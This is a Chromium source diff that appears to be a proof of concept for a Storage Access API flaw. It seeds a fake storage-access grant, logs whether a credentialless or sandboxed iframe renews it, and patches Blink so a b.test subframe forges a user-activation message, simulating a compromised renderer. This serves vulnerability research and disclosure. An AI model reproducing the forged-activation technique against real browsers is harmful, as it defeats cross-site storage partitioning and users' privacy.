diff --git a/chrome/browser/storage_access_api/storage_access_api_service_impl.cc b/chrome/browser/storage_access_api/storage_access_api_service_impl.cc index d3c908f7a7288..ba823a939b76a 100644 --- a/chrome/browser/storage_access_api/storage_access_api_service_impl.cc +++ b/chrome/browser/storage_access_api/storage_access_api_service_impl.cc @@ -7,8 +7,10 @@ #include #include "base/check.h" +#include "base/logging.h" #include "base/sequence_checker.h" #include "base/time/time.h" +#include "components/content_settings/core/common/content_settings_constraints.h" #include "chrome/browser/content_settings/host_content_settings_map_factory.h" #include "chrome/browser/profiles/profile.h" #include "components/content_settings/core/browser/host_content_settings_map.h" @@ -59,6 +61,37 @@ StorageAccessAPIServiceImpl::StorageAccessAPIServiceImpl( prefs->ClearPref(info.pref_name()); prefs->ClearPref(info.default_value_pref_name()); + + // ===== POC PRECONDITION SEEDING ===== + // Simulate a previously user-accepted document.requestStorageAccess() grant + // for (https://b.test:8443 embedded under https://a.test:8443), created 10 + // days ago with a 30-day lifetime → expiry = now + 20 days. This is the + // unpartitioned grant that the credentialless iframe should NOT be able to + // touch. + HostContentSettingsMap* map = + HostContentSettingsMapFactory::GetForProfile(profile); + if (map) { + const GURL embed("https://b.test:8443/"); + const GURL top("https://a.test:8443/"); + content_settings::ContentSettingConstraints constraints(base::Time::Now() - + base::Days(10)); + constraints.set_lifetime(base::Days(30)); + constraints.set_session_model( + content_settings::mojom::SessionModel::USER_SESSION); + map->SetContentSettingDefaultScope(embed, top, + ContentSettingsType::STORAGE_ACCESS, + CONTENT_SETTING_ALLOW, constraints); + content_settings::SettingInfo seeded; + map->GetWebsiteSetting(embed, top, ContentSettingsType::STORAGE_ACCESS, + &seeded); + LOG(ERROR) << "[SAA-POC] Seeded pre-existing unpartitioned grant " + "STORAGE_ACCESS(https://b.test:8443, https://a.test:8443)=" + "ALLOW expiry=" + << seeded.metadata.expiration() << " (" + << (seeded.metadata.expiration() - base::Time::Now()) + << " from now)"; + } + // ===== END POC PRECONDITION SEEDING ===== } StorageAccessAPIServiceImpl::~StorageAccessAPIServiceImpl() = default; diff --git a/chrome/browser/storage_access_api/storage_access_api_tab_helper.cc b/chrome/browser/storage_access_api/storage_access_api_tab_helper.cc index d2fdedafca7b8..eac0a67094dc3 100644 --- a/chrome/browser/storage_access_api/storage_access_api_tab_helper.cc +++ b/chrome/browser/storage_access_api/storage_access_api_tab_helper.cc @@ -4,12 +4,19 @@ #include "chrome/browser/storage_access_api/storage_access_api_tab_helper.h" +#include "base/logging.h" #include "base/metrics/histogram_functions.h" +#include "chrome/browser/content_settings/host_content_settings_map_factory.h" #include "chrome/browser/storage_access_api/storage_access_api_service.h" +#include "components/content_settings/core/browser/host_content_settings_map.h" +#include "components/content_settings/core/common/content_settings.h" #include "components/guest_view/buildflags/buildflags.h" #include "content/public/browser/render_frame_host.h" +#include "content/public/browser/web_contents.h" #include "content/public/browser/web_contents_observer.h" #include "content/public/browser/web_contents_user_data.h" +#include "services/network/public/mojom/web_sandbox_flags.mojom-shared.h" +#include "third_party/blink/public/common/storage_key/storage_key.h" #if BUILDFLAG(ENABLE_GUEST_VIEW) #include "components/guest_view/browser/guest_view_base.h" @@ -38,9 +45,50 @@ void StorageAccessAPITabHelper::FrameReceivedUserActivation( return; } + // ===== POC INSTRUMENTATION (observability only; vulnerable code below is + // unmodified) ===== + const url::Origin embed = rfh->GetLastCommittedOrigin(); + const url::Origin top = + rfh->GetParentOrOuterDocument()->GetLastCommittedOrigin(); + const bool credless = rfh->IsCredentialless(); + const bool sandboxed = rfh->IsSandboxed( + network::mojom::WebSandboxFlags::kStorageAccessByUserActivation); + const bool nonce = + rfh->GetStorageKey().ForbidsUnpartitionedStorageAccess(); + HostContentSettingsMap* map = HostContentSettingsMapFactory::GetForProfile( + web_contents()->GetBrowserContext()); + content_settings::SettingInfo before; + map->GetWebsiteSetting(embed.GetURL(), top.GetURL(), + ContentSettingsType::STORAGE_ACCESS, &before); + LOG(ERROR) << "[SAA-POC] FrameReceivedUserActivation:" + << " embed=" << embed << " top=" << top + << " IsCredentialless=" << credless + << " IsSandboxed(kStorageAccessByUserActivation)=" << sandboxed + << " StorageKeyHasNonce=" << nonce + << " grant_expiry_before=" << before.metadata.expiration(); + // ===== END POC INSTRUMENTATION ===== + service_->RenewPermissionGrant( rfh->GetLastCommittedOrigin(), rfh->GetParentOrOuterDocument()->GetLastCommittedOrigin()); + + // ===== POC INSTRUMENTATION ===== + content_settings::SettingInfo after; + map->GetWebsiteSetting(embed.GetURL(), top.GetURL(), + ContentSettingsType::STORAGE_ACCESS, &after); + LOG(ERROR) << "[SAA-POC] After RenewPermissionGrant:" + << " grant_expiry_after=" << after.metadata.expiration() + << " (delta=" + << (after.metadata.expiration() - before.metadata.expiration()) + << ")"; + if ((credless || sandboxed || nonce) && + after.metadata.expiration() > before.metadata.expiration()) { + LOG(ERROR) << "[SAA-POC] *** VULNERABILITY CONFIRMED *** " + "nonce-partitioned/credentialless/sandboxed iframe renewed " + "the unpartitioned STORAGE_ACCESS grant for (" + << embed << ", " << top << ")"; + } + // ===== END POC INSTRUMENTATION ===== } StorageAccessAPITabHelper::StorageAccessAPITabHelper( diff --git a/third_party/blink/renderer/core/dom/document.cc b/third_party/blink/renderer/core/dom/document.cc index cf1ebce916e6d..f17069028583f 100644 --- a/third_party/blink/renderer/core/dom/document.cc +++ b/third_party/blink/renderer/core/dom/document.cc @@ -38,6 +38,7 @@ #include "base/containers/adapters.h" #include "base/debug/dump_without_crashing.h" #include "base/i18n/time_formatting.h" +#include "base/logging.h" #include "base/metrics/histogram_functions.h" #include "base/notreached.h" #include "base/task/single_thread_task_runner.h" @@ -7935,6 +7936,24 @@ void Document::FinishedParsing() { DEVTOOLS_TIMELINE_TRACE_EVENT_INSTANT( "MarkDOMContent", inspector_mark_load_event::Data, frame); probe::DomContentLoadedEventFired(frame); + // ===== POC: COMPROMISED-RENDERER ATTACK ===== + // Simulate a compromised renderer in a credentialless/sandboxed + // subframe sending LocalFrameHost.UpdateUserActivationState( + // kNotifyActivation) over Mojo without any real user gesture. This + // crosses the IPC boundary to the browser process and lands in + // RenderFrameHostImpl::UpdateUserActivationState -> + // FrameTreeNode::NotifyUserActivation -> + // StorageAccessAPITabHelper::FrameReceivedUserActivation. + if (!frame->IsOutermostMainFrame() && + Url().Host().ToString() == "b.test") { + LOG(ERROR) << "[SAA-POC] [renderer] subframe " << Url().GetString() + << " sending fake UpdateUserActivationState(" + "kNotifyActivation) to browser"; + LocalFrame::NotifyUserActivation( + frame, + mojom::blink::UserActivationNotificationType::kInteraction); + } + // ===== END POC ===== } } }